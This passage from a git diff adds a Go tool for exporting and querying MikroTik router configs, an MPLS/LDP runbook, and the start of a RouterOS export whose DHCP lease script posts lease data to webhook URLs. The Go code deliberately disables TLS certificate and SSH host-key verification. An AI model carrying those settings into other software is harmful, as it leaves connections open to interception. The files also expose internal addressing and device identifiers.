// anything LLDP-tagged as wlan-ap / station-only) is excluded.
|
||||||
|
// Tower switches discovered via LLDP/CDP land under `switches:`.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/tls"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/go-routeros/routeros/v3"
|
||||||
|
"golang.org/x/crypto/ssh"
|
||||||
|
"golang.org/x/crypto/ssh/agent"
|
||||||
|
"gopkg.in/yaml.v3"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Defaults struct {
|
||||||
|
Username string `yaml:"username"`
|
||||||
|
Password string `yaml:"password"`
|
||||||
|
Port int `yaml:"port"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type Router struct {
|
||||||
|
Name string `yaml:"name"`
|
||||||
|
Host string `yaml:"host"`
|
||||||
|
Username string `yaml:"username,omitempty"`
|
||||||
|
Password string `yaml:"password,omitempty"`
|
||||||
|
Port int `yaml:"port,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type Config struct {
|
||||||
|
Defaults Defaults `yaml:"defaults"`
|
||||||
|
Routers []Router `yaml:"routers"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func loadConfig(path string) (*Config, error) {
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read %s: %w", path, err)
|
||||||
|
}
|
||||||
|
var c Config
|
||||||
|
if err := yaml.Unmarshal(data, &c); err != nil {
|
||||||
|
return nil, fmt.Errorf("parse %s: %w", path, err)
|
||||||
|
}
|
||||||
|
return &c, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolve fills in any router-level fields from the defaults block.
|
||||||
|
func (c *Config) resolve(r Router) Router {
|
||||||
|
if r.Username == "" {
|
||||||
|
r.Username = c.Defaults.Username
|
||||||
|
}
|
||||||
|
if r.Password == "" {
|
||||||
|
r.Password = c.Defaults.Password
|
||||||
|
}
|
||||||
|
if r.Port == 0 {
|
||||||
|
r.Port = c.Defaults.Port
|
||||||
|
}
|
||||||
|
if r.Port == 0 {
|
||||||
|
r.Port = 8729 // MikroTik API-SSL default
|
||||||
|
}
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
// dialAPI opens an API-SSL connection (port 8729) and logs in.
|
||||||
|
// MikroTik routers typically present a self-signed cert, so we skip verification.
|
||||||
|
func dialAPI(r Router) (*routeros.Client, error) {
|
||||||
|
addr := net.JoinHostPort(r.Host, strconv.Itoa(r.Port))
|
||||||
|
tlsCfg := &tls.Config{InsecureSkipVerify: true}
|
||||||
|
|
||||||
|
conn, err := tls.DialWithDialer(&net.Dialer{Timeout: 15 * time.Second}, "tcp", addr, tlsCfg)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("tls dial %s: %w", addr, err)
|
||||||
|
}
|
||||||
|
c, err := routeros.NewClient(conn)
|
||||||
|
if err != nil {
|
||||||
|
conn.Close()
|
||||||
|
return nil, fmt.Errorf("new client: %w", err)
|
||||||
|
}
|
||||||
|
if err := c.Login(r.Username, r.Password); err != nil {
|
||||||
|
c.Close()
|
||||||
|
return nil, fmt.Errorf("login: %w", err)
|
||||||
|
}
|
||||||
|
return c, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// lookupSSHPort asks /ip/service which port the ssh service is bound to and
|
||||||
|
// whether it's enabled. Returns the port, or an error if the service is
|
||||||
|
// disabled or absent.
|
||||||
|
func lookupSSHPort(c *routeros.Client) (int, error) {
|
||||||
|
rep, err := c.RunArgs([]string{
|
||||||
|
"/ip/service/print",
|
||||||
|
"?name=ssh",
|
||||||
|
"=.proplist=name,port,disabled",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("/ip/service/print: %w", err)
|
||||||
|
}
|
||||||
|
if len(rep.Re) == 0 {
|
||||||
|
return 0, fmt.Errorf("ssh service not present in /ip/service")
|
||||||
|
}
|
||||||
|
row := rep.Re[0].Map
|
||||||
|
if row["disabled"] == "true" {
|
||||||
|
return 0, fmt.Errorf("ssh service is disabled on this router")
|
||||||
|
}
|
||||||
|
port, err := strconv.Atoi(row["port"])
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("ssh port %q is not numeric: %w", row["port"], err)
|
||||||
|
}
|
||||||
|
return port, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// sshAuthMethods builds the auth method list, in preference order:
|
||||||
|
// - SSH agent (if SSH_AUTH_SOCK is set), so a router that has the user's
|
||||||
|
// pubkey installed and password auth disabled still works
|
||||||
|
// - on-disk identity files (~/.ssh/id_ed25519, id_rsa, id_ecdsa)
|
||||||
|
// - password from the YAML config
|
||||||
|
// - keyboard-interactive replaying the same password
|
||||||
|
func sshAuthMethods(password string) []ssh.AuthMethod {
|
||||||
|
var methods []ssh.AuthMethod
|
||||||
|
|
||||||
|
if sock := os.Getenv("SSH_AUTH_SOCK"); sock != "" {
|
||||||
|
if conn, err := net.Dial("unix", sock); err == nil {
|
||||||
|
ag := agent.NewClient(conn)
|
||||||
|
// Only register the agent if it actually holds keys. An empty
|
||||||
|
// agent still counts as a failed publickey attempt against
|
||||||
|
// servers like RouterOS that limit retries, which then blocks
|
||||||
|
// the on-disk key auth that follows.
|
||||||
|
if signers, err := ag.Signers(); err == nil && len(signers) > 0 {
|
||||||
|
methods = append(methods, ssh.PublicKeys(signers...))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if home, err := os.UserHomeDir(); err == nil {
|
||||||
|
var signers []ssh.Signer
|
||||||
|
for _, name := range []string{"id_ed25519", "id_rsa", "id_ecdsa"} {
|
||||||
|
data, err := os.ReadFile(filepath.Join(home, ".ssh", name))
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
signer, err := ssh.ParsePrivateKey(data)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
signers = append(signers, signer)
|
||||||
|
}
|
||||||
|
if len(signers) > 0 {
|
||||||
|
methods = append(methods, ssh.PublicKeys(signers...))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
methods = append(methods, ssh.Password(password))
|
||||||
|
methods = append(methods, ssh.KeyboardInteractive(func(_, _ string, questions []string, _ []bool) ([]string, error) {
|
||||||
|
answers := make([]string, len(questions))
|
||||||
|
for i := range questions {
|
||||||
|
answers[i] = password
|
||||||
|
}
|
||||||
|
return answers, nil
|
||||||
|
}))
|
||||||
|
return methods
|
||||||
|
}
|
||||||
|
|
||||||
|
// runOverSSH opens an SSH connection to host:port, runs cmd non-interactively,
|
||||||
|
// and returns whatever the router wrote to stdout.
|
||||||
|
func runOverSSH(r Router, sshPort int, cmd string) ([]byte, error) {
|
||||||
|
addr := net.JoinHostPort(r.Host, strconv.Itoa(sshPort))
|
||||||
|
|
||||||
|
// Some RouterOS boxes (notably the edge router) only offer
|
||||||
|
// diffie-hellman-group-exchange-sha256 for KEX, which x/crypto/ssh keeps
|
||||||
|
// out of its defaults. Opt back in by appending it to the supported list.
|
||||||
|
algos := ssh.SupportedAlgorithms()
|
||||||
|
kex := append(algos.KeyExchanges, ssh.KeyExchangeDHGEXSHA256)
|
||||||
|
|
||||||
|
var banner string
|
||||||
|
cfg := &ssh.ClientConfig{
|
||||||
|
Config: ssh.Config{KeyExchanges: kex},
|
||||||
|
User: r.Username,
|
||||||
|
Auth: sshAuthMethods(r.Password),
|
||||||
|
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||||
|
BannerCallback: func(msg string) error {
|
||||||
|
banner = msg
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
Timeout: 15 * time.Second,
|
||||||
|
}
|
||||||
|
|
||||||
|
client, err := ssh.Dial("tcp", addr, cfg)
|
||||||
|
if err != nil {
|
||||||
|
if banner != "" {
|
||||||
|
return nil, fmt.Errorf("ssh dial %s: %w (server banner: %q)", addr, err, banner)
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("ssh dial %s: %w", addr, err)
|
||||||
|
}
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
session, err := client.NewSession()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("ssh session: %w", err)
|
||||||
|
}
|
||||||
|
defer session.Close()
|
||||||
|
|
||||||
|
var stdout, stderr bytes.Buffer
|
||||||
|
session.Stdout = &stdout
|
||||||
|
session.Stderr = &stderr
|
||||||
|
|
||||||
|
if err := session.Run(cmd); err != nil {
|
||||||
|
return nil, fmt.Errorf("ssh run %q: %w (stderr: %s)", cmd, err, stderr.String())
|
||||||
|
}
|
||||||
|
return stdout.Bytes(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// exportRouter logs in over the API to discover the SSH port, then SSHes in
|
||||||
|
// and runs "/export", writing stdout to <name>.rsc locally.
|
||||||
|
func exportRouter(cfg *Config, r Router) error {
|
||||||
|
r = cfg.resolve(r)
|
||||||
|
if r.Host == "" || r.Name == "" {
|
||||||
|
return fmt.Errorf("router needs both name and host")
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[%s] api %s@%s:%d", r.Name, r.Username, r.Host, r.Port)
|
||||||
|
api, err := dialAPI(r)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
sshPort, err := lookupSSHPort(api)
|
||||||
|
api.Close()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[%s] ssh %s:%d /export", r.Name, r.Host, sshPort)
|
||||||
|
body, err := runOverSSH(r, sshPort, "/export")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(body) == 0 {
|
||||||
|
return fmt.Errorf("/export returned no output")
|
||||||
|
}
|
||||||
|
|
||||||
|
out := r.Name + ".rsc"
|
||||||
|
if err := os.WriteFile(out, body, 0o644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
log.Printf("[%s] wrote %s (%d bytes)", r.Name, out, len(body))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func runExport(cfg *Config) {
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
for _, r := range cfg.Routers {
|
||||||
|
wg.Add(1)
|
||||||
|
go func(r Router) {
|
||||||
|
defer wg.Done()
|
||||||
|
if err := exportRouter(cfg, r); err != nil {
|
||||||
|
log.Printf("[%s] ERROR: %v", r.Name, err)
|
||||||
|
}
|
||||||
|
}(r)
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
|
|
||||||
|
// runAPI logs into one router by name and runs an arbitrary API command,
|
||||||
|
// printing the rows returned. Useful for ad-hoc lookups (`arp culleoka`).
|
||||||
|
func runAPI(cfg *Config, routerName string, apiArgs []string) {
|
||||||
|
var target *Router
|
||||||
|
for i := range cfg.Routers {
|
||||||
|
if cfg.Routers[i].Name == routerName {
|
||||||
|
r := cfg.Routers[i]
|
||||||
|
target = &r
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if target == nil {
|
||||||
|
log.Fatalf("no router named %q in config", routerName)
|
||||||
|
}
|
||||||
|
r := cfg.resolve(*target)
|
||||||
|
c, err := dialAPI(r)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("[%s] %v", r.Name, err)
|
||||||
|
}
|
||||||
|
defer c.Close()
|
||||||
|
|
||||||
|
rep, err := c.RunArgs(apiArgs)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("[%s] %v: %v", r.Name, apiArgs, err)
|
||||||
|
}
|
||||||
|
for _, row := range rep.Re {
|
||||||
|
var keys []string
|
||||||
|
for k := range row.Map {
|
||||||
|
keys = append(keys, k)
|
||||||
|
}
|
||||||
|
sort.Strings(keys)
|
||||||
|
var parts []string
|
||||||
|
for _, k := range keys {
|
||||||
|
parts = append(parts, fmt.Sprintf("%s=%s", k, row.Map[k]))
|
||||||
|
}
|
||||||
|
fmt.Println(strings.Join(parts, " "))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func runList(cfg *Config) {
|
||||||
|
for _, r := range cfg.Routers {
|
||||||
|
r2 := cfg.resolve(r)
|
||||||
|
fmt.Printf("%-20s %s:%d user=%s\n", r2.Name, r2.Host, r2.Port, r2.Username)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func usage() {
|
||||||
|
fmt.Fprintln(os.Stderr, `usage: mikrotik-tool [-c routers.yaml] <command>
|
||||||
|
|
||||||
|
commands:
|
||||||
|
list show routers loaded from the config
|
||||||
|
export ssh to each router, run "/export", save stdout to <name>.rsc locally
|
||||||
|
inventory discover access points, backhaul radios, and tower switches across
|
||||||
|
every router (skipping customer equipment) and re-render
|
||||||
|
inventory.yaml in place`)
|
||||||
|
os.Exit(2)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
log.SetFlags(log.Ltime)
|
||||||
|
|
||||||
|
cfgPath := "routers.yaml"
|
||||||
|
args := os.Args[1:]
|
||||||
|
|
||||||
|
for i := 0; i < len(args); i++ {
|
||||||
|
switch args[i] {
|
||||||
|
case "-c", "--config":
|
||||||
|
if i+1 >= len(args) {
|
||||||
|
usage()
|
||||||
|
}
|
||||||
|
cfgPath = args[i+1]
|
||||||
|
args = append(args[:i], args[i+2:]...)
|
||||||
|
i--
|
||||||
|
case "-h", "--help":
|
||||||
|
usage()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(args) == 0 {
|
||||||
|
usage()
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg, err := loadConfig(cfgPath)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(cfg.Routers) == 0 {
|
||||||
|
log.Fatalf("no routers in %s", cfgPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
switch args[0] {
|
||||||
|
case "list":
|
||||||
|
runList(cfg)
|
||||||
|
case "export":
|
||||||
|
runExport(cfg)
|
||||||
|
case "inventory":
|
||||||
|
runInventory(cfg)
|
||||||
|
case "api":
|
||||||
|
if len(args) < 3 {
|
||||||
|
fmt.Fprintln(os.Stderr, "usage: mikrotik-tool api <router> <api-path> [k=v ...]")
|
||||||
|
os.Exit(2)
|
||||||
|
}
|
||||||
|
runAPI(cfg, args[1], args[2:])
|
||||||
|
default:
|
||||||
|
fmt.Fprintf(os.Stderr, "unknown command: %s\n", args[0])
|
||||||
|
usage()
|
||||||
|
}
|
||||||
|
}
|
||||||
BIN
mikrotik-tool/mikrotik-tool
Executable file
BIN
mikrotik-tool/mikrotik-tool
Executable file
Binary file not shown.
213
mikrotik-tool/mpls.md
Normal file
213
mikrotik-tool/mpls.md
Normal file
|
|
@ -0,0 +1,213 @@
|
||||||
|
# MPLS / LDP enablement: verona ↔ climax ↔ core
|
||||||
|
|
||||||
|
Goal: bring up MPLS forwarding with LDP across the verona–climax–core spine
|
||||||
|
on RouterOS 7, leaving the rest of the network untouched. Once these three
|
||||||
|
are running labeled forwarding, expanding to other PoPs is incremental
|
||||||
|
(add the LDP instance + interface on each new router).
|
||||||
|
|
||||||
|
## Topology being labeled
|
||||||
|
|
||||||
|
```
|
||||||
|
verona (10.254.254.101)
|
||||||
|
└── ether3-climax-11ghz 10.250.1.25/29 ──┐
|
||||||
|
│ 10.250.1.24/29 (AF11 backhaul)
|
||||||
|
┌── ether6-verona-11ghz 10.250.1.30/29 ──┘
|
||||||
|
climax (10.254.254.102)
|
||||||
|
└── ether4-380-airfiber24 10.250.1.94/29 ──┐
|
||||||
|
│ 10.250.1.88/29 (AF24 backhaul)
|
||||||
|
┌── ether5-climax 10.250.1.89/29 ─┘
|
||||||
|
core (10.254.254.253)
|
||||||
|
```
|
||||||
|
|
||||||
|
OSPFv2 (`backbone-v2`, area 0) already redistributes connected, so all three
|
||||||
|
loopbacks are reachable. That is the IGP we attach LDP to. Nothing else
|
||||||
|
changes.
|
||||||
|
|
||||||
|
RouterOS versions in play: verona 7.20.8, climax 7.22, core 7.20.6 — all
|
||||||
|
include MPLS in the system package, no extra `.npk` to install.
|
||||||
|
|
||||||
|
## Pre-flight (run on each of the three before configuring)
|
||||||
|
|
||||||
|
```
|
||||||
|
# OSPF must be up and loopbacks reachable end-to-end.
|
||||||
|
/routing ospf neighbor print
|
||||||
|
/ip route print where dst-address~"10.254.254.10[12]/32" or dst-address~"10.254.254.253/32"
|
||||||
|
|
||||||
|
# Confirm the underlay MTU on the AF11 / AF24 ports — MPLS adds 4 bytes per
|
||||||
|
# label, so we want headroom. Check both physical (l2mtu) and IP MTU:
|
||||||
|
/interface print detail where name~"ether3-climax-11ghz|ether6-verona-11ghz|ether4-380-airfiber|ether5-climax"
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected: l2mtu ≥ 1600 on the AF radios (default on CCR ports). If
|
||||||
|
anything is at 1500 we'll bump `mpls-mtu` to 1500 explicitly so we never
|
||||||
|
generate a 1504-byte frame the radio drops.
|
||||||
|
|
||||||
|
## Step 1 — verona (10.254.254.101)
|
||||||
|
|
||||||
|
```
|
||||||
|
# LDP instance, lsr-id and transport address pinned to the loopback.
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.101 transport-addresses=10.254.254.101 vrf=main
|
||||||
|
|
||||||
|
# Enable LDP discovery on the climax-facing link only.
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether3-climax-11ghz
|
||||||
|
|
||||||
|
# Pin the MPLS MTU explicitly. mpls-mtu is the cap on the *labeled* frame,
|
||||||
|
# so a 1500-byte IP payload + 4-byte label = 1504 needs at least 1508 to
|
||||||
|
# pass; 1508 also leaves room for one extra stacked label (VPN/FRR/etc.).
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether3-climax-11ghz mpls-mtu=1508
|
||||||
|
```
|
||||||
|
|
||||||
|
## Step 2 — climax (10.254.254.102)
|
||||||
|
|
||||||
|
```
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.102 transport-addresses=10.254.254.102 vrf=main
|
||||||
|
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether6-verona-11ghz
|
||||||
|
add interface=ether4-380-airfiber24
|
||||||
|
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether6-verona-11ghz mpls-mtu=1508
|
||||||
|
add interface=ether4-380-airfiber24 mpls-mtu=1508
|
||||||
|
```
|
||||||
|
|
||||||
|
## Step 3 — core (10.254.254.253)
|
||||||
|
|
||||||
|
```
|
||||||
|
/mpls ldp
|
||||||
|
add disabled=no lsr-id=10.254.254.253 transport-addresses=10.254.254.253 vrf=main
|
||||||
|
|
||||||
|
/mpls ldp interface
|
||||||
|
add interface=ether5-climax
|
||||||
|
|
||||||
|
/mpls interface
|
||||||
|
add interface=ether5-climax mpls-mtu=1508
|
||||||
|
```
|
||||||
|
|
||||||
|
Order doesn't matter — LDP discovery is symmetric. As soon as both ends of
|
||||||
|
a link have `/mpls ldp interface` populated, hellos start flowing on
|
||||||
|
224.0.0.2:646 and a TCP session forms between the two transport addresses.
|
||||||
|
|
||||||
|
## Verification (the actually-works part)
|
||||||
|
|
||||||
|
### A. Control plane: LDP adjacencies
|
||||||
|
|
||||||
|
Run on **each** router:
|
||||||
|
|
||||||
|
```
|
||||||
|
/mpls ldp neighbor print detail
|
||||||
|
```
|
||||||
|
|
||||||
|
Required state:
|
||||||
|
|
||||||
|
- `peer=` lists the neighbor's lsr-id (a loopback IP),
|
||||||
|
- `transport=` is the neighbor's loopback IP,
|
||||||
|
- flag column shows `O` (operational); `D` (dynamic) is fine — `nD` (not
|
||||||
|
discovered) or missing entries means hellos aren't reaching the far side
|
||||||
|
(firewall, wrong interface, MTU).
|
||||||
|
|
||||||
|
Expected counts:
|
||||||
|
|
||||||
|
| Router | LDP neighbors |
|
||||||
|
|--------|---------------|
|
||||||
|
| verona | 1 (climax) |
|
||||||
|
| climax | 2 (verona, core) |
|
||||||
|
| core | 1 (climax) |
|
||||||
|
|
||||||
|
### B. Control plane: label bindings exist for the remote loopbacks
|
||||||
|
|
||||||
|
```
|
||||||
|
/mpls ldp local-binding print where dst-address~"10.254.254.(101|102|253)/32"
|
||||||
|
/mpls ldp remote-binding print where dst-address~"10.254.254.(101|102|253)/32"
|
||||||
|
```
|
||||||
|
|
||||||
|
Each router should advertise an `implicit-null` (or label 3) for its own
|
||||||
|
loopback in `local-binding`, and learn labels for the two other loopbacks
|
||||||
|
in `remote-binding`.
|
||||||
|
|
||||||
|
### C. Forwarding plane: FIB has the labels
|
||||||
|
|
||||||
|
```
|
||||||
|
/mpls forwarding-table print
|
||||||
|
```
|
||||||
|
|
||||||
|
You should see entries with `out-label`, `out-interface`, and `nexthop`
|
||||||
|
matching the OSPF next-hop toward each remote loopback. On climax you'll
|
||||||
|
see two entries — one swapping toward verona, one toward core. On verona
|
||||||
|
and core you'll see one entry for each remote loopback (the second loopback
|
||||||
|
is reached via climax with stacked labels collapsing to a single label
|
||||||
|
because we have only three nodes).
|
||||||
|
|
||||||
|
### D. Data plane: traceroute prints labels
|
||||||
|
|
||||||
|
From **verona**, source-routed off the loopback:
|
||||||
|
|
||||||
|
```
|
||||||
|
/tool traceroute 10.254.254.253 src-address=10.254.254.101 count=3
|
||||||
|
```
|
||||||
|
|
||||||
|
A working MPLS path prints `MPLS Label=NNNN E=0 ...` on the first hop
|
||||||
|
(climax) — that is the smoking gun. Without MPLS the same traceroute
|
||||||
|
succeeds but no `MPLS Label=` field appears.
|
||||||
|
|
||||||
|
Repeat from **core** in the other direction:
|
||||||
|
|
||||||
|
```
|
||||||
|
/tool traceroute 10.254.254.101 src-address=10.254.254.253 count=3
|
||||||
|
```
|
||||||
|
|
||||||
|
### E. Data plane: MTU check
|
||||||
|
|
||||||
|
We pinned `mpls-mtu=1508` — verify a full-size packet still passes once
|
||||||
|
labeled (1500 IP + 4 label = 1504 on the wire, well below both the 1508
|
||||||
|
cap and the radio l2mtu of 2024):
|
||||||
|
|
||||||
|
```
|
||||||
|
# from verona, send 1500-byte ICMP DF=yes to core's loopback
|
||||||
|
/ping 10.254.254.253 src-address=10.254.254.101 size=1500 do-not-fragment count=5
|
||||||
|
```
|
||||||
|
|
||||||
|
100% return = path is large enough for label + 1500 payload. Any loss
|
||||||
|
means the labeled frame (1504 bytes) doesn't fit somewhere — most likely
|
||||||
|
an l2mtu issue on a backhaul radio. Either bump l2mtu on the radio side,
|
||||||
|
or *raise* `mpls-mtu` if you increased the IP MTU. **Do not lower
|
||||||
|
`mpls-mtu` below 1508** — that caps the labeled frame and will cause
|
||||||
|
ICMP-frag-needed for ordinary 1500-byte DF customer traffic.
|
||||||
|
|
||||||
|
## Rollback (per router)
|
||||||
|
|
||||||
|
If anything misbehaves, MPLS is purely additive — removing the two tables
|
||||||
|
returns the box to plain IP forwarding. OSPF is untouched.
|
||||||
|
|
||||||
|
```
|
||||||
|
/mpls ldp interface remove [find]
|
||||||
|
/mpls ldp remove [find]
|
||||||
|
# leave /mpls interface mpls-mtu settings as-is; harmless without LDP.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Notes & caveats
|
||||||
|
|
||||||
|
- **Don't enable LDP on customer-facing or CGNAT interfaces.** Only the
|
||||||
|
three backbone ports listed above. LDP advertised onto a customer port
|
||||||
|
would expose label bindings to anyone who joined the broadcast domain.
|
||||||
|
- **No BGP-LU, no L3VPN, no TE yet.** This is plain IPv4 LDP only — the
|
||||||
|
point is to get labeled IGP forwarding working between these three
|
||||||
|
before layering services on top.
|
||||||
|
- **iBGP next-hop-self is not required** for this phase because we have no
|
||||||
|
BGP-painted services riding the LSPs yet. When that changes (e.g.,
|
||||||
|
bringing public /24s in over iBGP), confirm next-hop-self on the
|
||||||
|
ingress LSR so labeled paths terminate at a router with an LSP.
|
||||||
|
- **OSPFv3 / IPv6 LDP is intentionally out of scope.** RouterOS 7 LDP is
|
||||||
|
IPv4-only; v6 transport would need MPLSv6 / 6PE which we are not
|
||||||
|
setting up here.
|
||||||
|
- **BFD on the AF radios** (already enabled on the verona–climax and
|
||||||
|
climax–core OSPF templates with `use-bfd=yes`) is what fast-fails the
|
||||||
|
underlay; LDP itself follows OSPF and tears down accordingly.
|
||||||
|
- **Expanding to other PoPs:** repeat steps 1–3 on the new router with
|
||||||
|
its loopback as `lsr-id`/`transport-addresses`, then add `/mpls ldp
|
||||||
|
interface` on the link to whichever existing MPLS router it peers with.
|
||||||
|
No flag day.
|
||||||
645
mikrotik-tool/newhope.rsc
Normal file
645
mikrotik-tool/newhope.rsc
Normal file
|
|
@ -0,0 +1,645 @@
|
||||||
|
# 2026-05-08 17:46:02 by RouterOS 7.21.4
|
||||||
|
# software id = 5HTF-YFWV
|
||||||
|
#
|
||||||
|
# model = CCR1009-7G-1C-1S+
|
||||||
|
# serial number = 6F5006EA1923
|
||||||
|
/interface bridge
|
||||||
|
add name=bridge_cpe_mgmt port-cost-mode=short
|
||||||
|
add name=newhope port-cost-mode=short
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=combo1 ] l2mtu=9000 rx-flow-control=auto \
|
||||||
|
tx-flow-control=auto
|
||||||
|
set [ find default-name=ether1 ] l2mtu=9000 rx-flow-control=auto \
|
||||||
|
tx-flow-control=auto
|
||||||
|
set [ find default-name=ether2 ] l2mtu=9000 name=ether2-380 rx-flow-control=\
|
||||||
|
auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether3 ] disabled=yes l2mtu=2024 name=\
|
||||||
|
ether3-lowrycrossing-old rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether4 ] disabled=yes l2mtu=2024 rx-flow-control=auto \
|
||||||
|
tx-flow-control=auto
|
||||||
|
set [ find default-name=ether5 ] l2mtu=9000 name=ether5-switch \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether6 ] l2mtu=9000 name=ether6-lowrycrossing \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=ether7 ] l2mtu=9000 name=ether7-tower \
|
||||||
|
rx-flow-control=auto tx-flow-control=auto
|
||||||
|
set [ find default-name=sfp-sfpplus1 ] l2mtu=9000 loop-protect=off name=\
|
||||||
|
sfp-sfpplus1-edgepoint rx-flow-control=auto tx-flow-control=auto
|
||||||
|
/interface vlan
|
||||||
|
add interface=ether5-switch name=mgmt_ether5 vlan-id=10
|
||||||
|
add interface=sfp-sfpplus1-edgepoint name=mgmt_sfp+ vlan-id=10
|
||||||
|
/interface lte apn
|
||||||
|
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip hotspot profile
|
||||||
|
add dns-name=newhope.vntx.net hotspot-address=100.64.19.254 login-by=\
|
||||||
|
mac,http-chap mac-auth-mode=mac-as-username-and-password name=hsprof1 \
|
||||||
|
use-radius=yes
|
||||||
|
/ip hotspot
|
||||||
|
add addresses-per-mac=unlimited idle-timeout=none interface=\
|
||||||
|
sfp-sfpplus1-edgepoint name=hotspot1 profile=hsprof1
|
||||||
|
/ip hotspot user profile
|
||||||
|
set [ find default=yes ] add-mac-cookie=no on-logout="/ip hotspot host remove \
|
||||||
|
[find where address=\94\$address\94 and !authorized and !bypassed]" \
|
||||||
|
session-timeout=1h shared-users=2
|
||||||
|
/ip ipsec proposal
|
||||||
|
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
|
||||||
|
aes-256-cbc,aes-128-cbc pfs-group=modp2048
|
||||||
|
/ip pool
|
||||||
|
add name=dhcp_pool1 ranges=10.100.128.1-10.100.142.254
|
||||||
|
add name=dhcp_pool2 ranges=172.16.128.1-172.16.143.253
|
||||||
|
add name=dhcp_pool3 ranges=10.10.128.1-10.10.142.253
|
||||||
|
add name=cgnat ranges=100.64.19.1-100.64.19.249
|
||||||
|
add name=public-temp ranges=204.110.189.1-204.110.189.125
|
||||||
|
add name=cgnat-full ranges=100.64.16.1-100.64.19.249
|
||||||
|
add name=dhcp_pool6 ranges=10.0.108.1-10.0.108.249
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=dhcp_pool3 interface=bridge_cpe_mgmt lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
